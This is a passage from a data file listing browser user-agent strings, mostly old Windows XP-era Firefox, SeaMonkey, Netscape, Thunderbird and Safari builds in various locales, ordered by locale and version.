Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.8) Gecko/2009033019 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3a) Gecko/20021212\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3b) Gecko/20030210\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4a) Gecko/20030401\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.5) Gecko/20031007\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.6) Gecko/20040113\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.1) Gecko/20040707\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.11) Gecko/20050728 (No IDN)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.5) Gecko/20041217\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.7) Gecko/20050414\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7b) Gecko/20040316\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8) Gecko/20051219 SeaMonkey/1.0b\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.5) Gecko/20060730 K-Meleon/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8a1) Gecko/20040520\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8a5) Gecko/20041122\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8b) Gecko/20050217\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-CH) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-CH; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-CH; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change:  )\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Safari/534\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.3a) Gecko/20021207 Phoenix/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.5) Gecko/20031007 Firebird/0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 (No IDN) Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.0.1) Gecko/20060115 K-Meleon/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.11; .NET CLR 2.0.50727) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 (+http://www.kangaroo-personal.de)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.6) Gecko/20070727 K-Meleon/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 FireShot/0.32 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.20) Gecko/20110803 Firefox\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051025 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.10) Gecko/20070221 Thunderbird/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1) Gecko/20060918 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Thunderbird/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.8) Gecko/20071008 SeaMonkey\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008080808 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.8 (de) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.12) Gecko/2009070611 Firefox/2.0.0.14;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 FirePHP/0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.6 (de)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7 (de)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7 (de) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (de)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (de) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.7 (de) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mnenhy/0.7.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.11) Gecko/20100711 Thunderbird/3.0.6 ThunderBrowse/3.3.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 2.0.50727)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20100104 Firefox/3.5.8 (SeaMonkey/2.0.2)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.7) Gecko/20100104 SeaMonkey/2.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1b1pre) Gecko/20080925121544 SeaMonkey/2.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1b3pre) Gecko/20090210 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.11) Gecko/20101013 Lightning/1.0b2 Thunderbird/3.1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) 20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.15) Gecko/20110303 Lightning/1.0b2 Thunderbird/3.1.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.648)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729) FirePHP/0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; el-GR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mnenhy/0.7.4.666\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9) Gecko/2008052906 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0 Safari/522.11.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/522.4.1+ (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-AU; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-AU; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-AU; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-CA; rv:1.4) Gecko/20030624 Netscape/7.1 